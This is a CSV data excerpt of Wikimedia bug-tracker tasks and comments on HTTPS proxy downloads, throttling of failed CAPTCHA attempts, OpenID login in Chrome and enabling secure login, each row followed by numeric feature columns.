+> no requests to hosts within the Wikimedia network.
+
+Will that be OK for bug 42473?",,,1357757528,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ahjiukxchfsw3d6z4opz,task_subcomment,,True,c2,1,True,,,-33,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1
+184032,Cannot download from HTTPS sources using copy upload via url-downloader,"The url-downloader proxy has been configured to allow HTTPS (CONNECT) requests, to port 443 only, and as before, only from hosts in the Wikimedia network, and no requests to hosts within the Wikimedia network.",,,1357746945,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-ahjiukxchfsw3d6z4opz,task_subcomment,,True,c2,1,False,,,-33,True,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+184023,Cannot download from HTTPS sources using copy upload via url-downloader,Seems to be a show stopper for https://bugzilla.wikimedia.org/show_bug.cgi?id=42473,,,1355568968,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-ahjiukxchfsw3d6z4opz,task_subcomment,,True,c2,1,False,,,-37,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0
+184013,Cannot download from HTTPS sources using copy upload via url-downloader,https://rt.wikimedia.org/Ticket/Display.html?id=4075,,,1355265939,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ahjiukxchfsw3d6z4opz,task_subcomment,,True,c2,1,True,,,-38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+42496,Other actions beside login should be throttled based on failed captcha attempts,"Just like we have $wgCaptchaBadLoginAttempts, there should be a config array maximum attempts for other $wgCaptchaTriggers. Without this, guessing and building canned answer libraries becomes easier (though $wgCaptchaDeleteOnSolve helps).
+
+--------------------------
+**Version**: master
+**Severity**: enhancement",Medium,50.0,1348531140,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,False,PHID-TASK-vg26sfirxv3pffdhwxha,task_description,open,True,c2,1,False,False,,-49,True,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+202747,Other actions beside login should be throttled based on failed captcha attempts,*** Bug 47740 has been marked as a duplicate of this bug. ***,,,1367609656,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+202739,Other actions beside login should be throttled based on failed captcha attempts,"See also https://gerrit.wikimedia.org/r/#/c/44376 , which as Chris noted there, is relevant to this.  It's an API for reloading CAPTCHAs, which allows an AJAX button.",,,1363639334,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+202732,Other actions beside login should be throttled based on failed captcha attempts,"**carlb613** wrote:
+
+It's not just a question of limiting the number of captchas that a single user can harvest... there needs to be a limit on the number of failed attempts.
+
+Handing them one CAPTCHA and letting them make 4096 guesses at it won't help.
+
+The $wgCaptchaBadLoginAttempts variable actually isn't intended to limit the number of failed CAPTCHA attempts. It's intended to limit the number of bad password attempts on an existing account before subsequent log in attempts require both a CAPTCHA and password be supplied. 
+
+As such, a bot attempting to create 4096 shiny new accounts against Assira by submitting a random 12-bit answer ""dog, cat, dog, dog, dog, cat, dog, dog, dog, cat, dog, dog"" will get one new account and 4095 errors.
+
+If after 'n' consecutive bad CAPTCHA attempts the offending 'bot were simply http://en.uncyclopedia.co/wiki/Banned_from_the_Internet there would be no 4096th attempt to get past Assira.",,,1363632194,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0
+202726,Other actions beside login should be throttled based on failed captcha attempts,"Clarifying this a little, the feature request is that we limit the number of captchas that a single user can harvest in a given amount of time.
+
+Maybe keep 2 key in memcache for captcha passes and fails, for each user. And if fails > X and fails / (fails + passes) > Y%, then we refuse to serve up any more captchas?",,,1363392086,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,True,,,-24,True,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1
+202717,Other actions beside login should be throttled based on failed captcha attempts,"I agree, this would be a very useful feature, although implementing it needs to be handled carefully.
+
+For passwords, you typically either present a captcha, or you introduce an exponentially-increasing delay.
+
+To get a handle on the effect, it would be nice to start logging captcha presentations, in addition to the pass/fail logging that we do. That will let us calculate the pass or fail rate of a single IP or User.
+
+I suspect that if we throttle based on the pass rate, instead of a static number of requests, that would more accurately block someone brute forcing, while not disrupting edits for users who happen to be behind a proxy with a large number of legitimate users.",,,1352823639,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,True,,,-42,True,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+202712,Other actions beside login should be throttled based on failed captcha attempts,"Maybe a better solution would be to present the user with two CAPTCHAs? It's twice as much work for users, but makes the CAPTCHA exponentially more difficult to crack through guessing. I'm thinking that would be particularly useful for QuestyCaptcha.",,,1352751587,,PHID-USER-h3izjiozzysppsokit7l,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,False,,,-42,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+202708,Other actions beside login should be throttled based on failed captcha attempts,"I agree that this is important, because all the captchas appear to have been cracked. Asirra used to work pretty well, but who knows, maybe the spammers are using brute force to get through all 4,096 (2^12; there are twelve photos with two possibilities, cat or dog, apiece) possibilities. Changing $wgAsirraCellsPerRow doesn't help; if, say, you change it to 8, then it will simply put 8 on the top row and 4 on the bottom, so you still only have 12.
+
+Is there a way to impose a throttle without possibly causing collateral damage to other users of that IP address? Maybe the only solution is to disallow edits by anons, and impose per-account throttles on CAPTCHA attempts. So, e.g., if FooUser256 has x number of bad attempts within a y-second period, he gets throttled.
+
+The problem is, he can use brute force to get through the CAPTCHA to create many accounts, and then sit around making attempts in parallel to get through the CAPTCHA on each account. So, even if there is a throttle, with enough accounts, he can eventually get through.",,,1352702343,,PHID-USER-h3izjiozzysppsokit7l,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,False,,,-42,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+41539,Wikimedia blog with https doesn't link to secure wikis,"**Author:** `M8R-udfkkf`
+
+**Description:**
+The Wikimedia blog at https://blog.wikimedia.org/ does not link to the secure versions of the various wikis. That is, it links to http://en.wikipedia.org instead of https version.
+
+
+
+(Not sure if its the right component)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=37229",Medium,50.0,1345576800,1419134153.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-wlku5ja6envbi4cz2etp,False,PHID-TASK-btv5v63th5zlkorpf6wh,task_description,invalid,True,c2,1,False,False,False,-54,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+391825,Wikimedia blog with https doesn't link to secure wikis,"This is now obsolete, as it referred to the old blog before the relaunch on July 31. If there are still HTTP links to the wikis in the theme of the current https://blog.wikimedia.org/ , please file a separate task.",,,1419134153,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-btv5v63th5zlkorpf6wh,task_subcomment,,True,c2,3,True,,,68,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+196064,Wikimedia blog with https doesn't link to secure wikis,"Change 138533 abandoned by Withoutaname:
+Convert links to https or protocol-relative
+
+https://gerrit.wikimedia.org/r/138533",,,1409878495,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-btv5v63th5zlkorpf6wh,task_subcomment,,True,c2,3,False,,,53,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+196059,Wikimedia blog with https doesn't link to secure wikis,"Change 138533 had a related patch set uploaded by Withoutaname:
+Convert links to https or protocol-relative
+
+https://gerrit.wikimedia.org/r/138533",,,1402376195,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-btv5v63th5zlkorpf6wh,task_subcomment,,True,c2,3,False,,,40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+41435,Automatic login with OpenID does not work,"**Author:** `simone.hinterseher`
+
+**Description:**
+After Login with OpenID I get to:
+
+""Verification succeeded
+Successful verification and log in as user username.
+Your OpenID is https://www.google.com/accounts/o8/id?id=someId
+This and further OpenIDs, and an optional account password, can be managed in your preferences.
+Return to Main Page.""
+
+When I click on my user profile to add the OpenID to the created profile I get
+
+""Not logged in
+You must be logged in to set user preferences.""
+
+I can send me an email reminder of an account password to login later and add the OpenID, but I think the login should be there automatically.
+
+Also, is it possible to automatically add the OpenID to the created user profile?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1345140360,1345267925.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-o7gis5o32rnf6c7wprme,task_description,declined,True,c2,1,False,False,True,-54,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0
+190306,Automatic login with OpenID does not work,"> I installed the mediawiki with extensions and configurations anew
+
+Good to know. Reinstallation helps in many cases (actually it was my advice in https://bugzilla.wikimedia.org/show_bug.cgi?id=39435#c3 )",,,1345278432,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+190300,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:
+
+(the versions of anything remained the same)",,,1345267957,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+190295,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:
+
+I installed the mediawiki with extensions and configurations anew. The problem seems to have disappeared. I'm not sure what I did differently.",,,1345267925,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+190292,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:
+
+The url of the link already shows the username (link to .../User:username).
+
+Yes it seems a little strange if you don't encounter the same.. if I you need any other information to track down the issue let me know.",,,1345259567,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+190287,Automatic login with OpenID does not work,"(In reply to comment #8)
+> On the Special:OpenIDLogin/Finish page with the title ""Verification succeeded""
+> I already see the portlet links changed (username is shown instead of IP).
+> However, once I go from there to any other page of the wiki it seems to loose
+> the login information, i.e. the IP is shown again instead of the username.
+> I tried using Ctrl+F5 on Special:OpenIDLogin/Finish aswell with the same
+> result.
+
+Please hover above the portlet link (not clicking) when it already shows the username. Is the url (link) reflecting this change, or has the link still the IP address ?
+
+This was the effect which I fixed one year ago in the mentioned commit, but I did not test that in Chrome then.
+
+I am pretty sure it is an issue of caching, or a context problem, and it is indeed very annoying and difficult to track (I will try with your help).
+
+And, why is my reference implementation with the same Chrome version not showing this effect you described? Strange",,,1345239082,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,1,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+190282,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:
+
+Actually, I get a ""Verification error"" when I hit Ctrl+F45 on the Speical:OpenIDLogin/Finish page. But I guess one is normally not supposed to do that anyways right?",,,1345229566,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+190275,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:
+
+Yes I still have this problem. Only with Chrome.
+
+On the Special:OpenIDLogin/Finish page with the title ""Verification succeeded"" I already see the portlet links changed (username is shown instead of IP). However, once I go from there to any other page of the wiki it seems to loose the login information, i.e. the IP is shown again instead of the username.
+I tried using Ctrl+F5 on Special:OpenIDLogin/Finish aswell with the same result.",,,1345229240,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+190270,Automatic login with OpenID does not work,"If you still have this problem, you can try something ?
+
+Delete the one account, or merge it with your Sysop account (I use the https://www.mediawiki.org/wiki/Extension:User_Merge_and_Delete extension to merge and delete after successful merging ""new OpenID test user"" accounts with my WikiSysop account. Then I can try again.)
+
+Just ***before*** the stage you are describing as ""When I click on my user profile to add the OpenID to the created profile I get"" press Ctrl+F5 in your browser.
+
+Do the portlet links (my preferences) change then? I mean exactly: do they show still the IP number or do they show the newly added username ?",,,1345184865,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,0
+190266,Automatic login with OpenID does not work,I checked that now with Chrome 21.0.1180.79 - it works for me !,,,1345158786,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+190261,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:
+
+To answer your last question: There was no upgrade. I did a complete new install of MediaWiki and OpenId Extension.",,,1345158704,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+190257,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:
+
+I just found that it is because of the browser I use. I used the most current Chrome (21.0.1180.79) and it would have the described issue.
+With Firefox 14 and Internet Explorer 8 it works fine.
+
+OpenID (Version 1.004 20120427)
+MediaWiki    1.19.1
+PHP    5.3.3 (apache2handler)
+MySQL    5.0.95",,,1345158468,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+190251,Automatic login with OpenID does not work,"Just one idea:
+
+Have you recently upgraded from an older version of OpenID ? I checked the sources, and the problem reported by you - or similar to it - was fixed in https://www.mediawiki.org/wiki/Special:Code/MediaWiki/95706 (29 August 2011)
+
+I suggest you fully delete the old extension subdirectory and reinstall the 1.004 version from SVN.
+
+Let me know if the problem still persists.",,,1345156100,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0
+190245,Automatic login with OpenID does not work,"I tested it, it works for me. Must be another reason on your server.
+
+My wiki:
+
+Product 	Version
+MediaWiki 	1.20alpha (a441912)
+PHP 	5.3.14 (apache2handler)
+MySQL 	5.1.57-log
+OpenID (Version 1.004 20120427) 	(r115098)",,,1345151695,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+190241,Automatic login with OpenID does not work,"This usually works automatically. Once your are in (OpenID account creation), the OpenID is (should be) automatically attached to your (new) account.
+
+perhaps it is an issue (which I had in former versions of the MediaWIki core), that the links (on top of screen) were not immediately updated, which was an issue of the so-called context.
+
+Will check this.
+
+Please can you post here the exact MediaWiki version, and OpenID version ?",,,1345150878,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+41380,Set $wgSecureLogin = true; on Wikimedia wikis,"With the exception of a few minor bugs (specifically email links), $wgSecureLogin functionality is for the most part complete. Is there any reason HTTPS login has not yet been enabled on enwiki?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=29898
+https://bugzilla.wikimedia.org/show_bug.cgi?id=31323
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47832",Medium,50.0,1345040460,1377734276.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_description,resolved,True,c2,1,False,False,True,-54,True,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0
+187151,Set $wgSecureLogin = true; on Wikimedia wikis,"Change 81563 merged by jenkins-bot:
+Secure login to true for all wikis
+
+https://gerrit.wikimedia.org/r/81563",,,1377720679,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,3,False,,,0,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+187146,Set $wgSecureLogin = true; on Wikimedia wikis,"Change 81563 had a related patch set uploaded by CSteipp:
+Secure login to true for all wikis
+
+https://gerrit.wikimedia.org/r/81563",,,1377720514,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,3,False,,,0,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+187141,Set $wgSecureLogin = true; on Wikimedia wikis,"Change 68937 abandoned by Ryan Lane:
+Enabling secure login (HTTPS), second attempt
+
+Reason:
+Handled in change 74268 in the correct place.
+
+https://gerrit.wikimedia.org/r/68937",,,1374095996,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
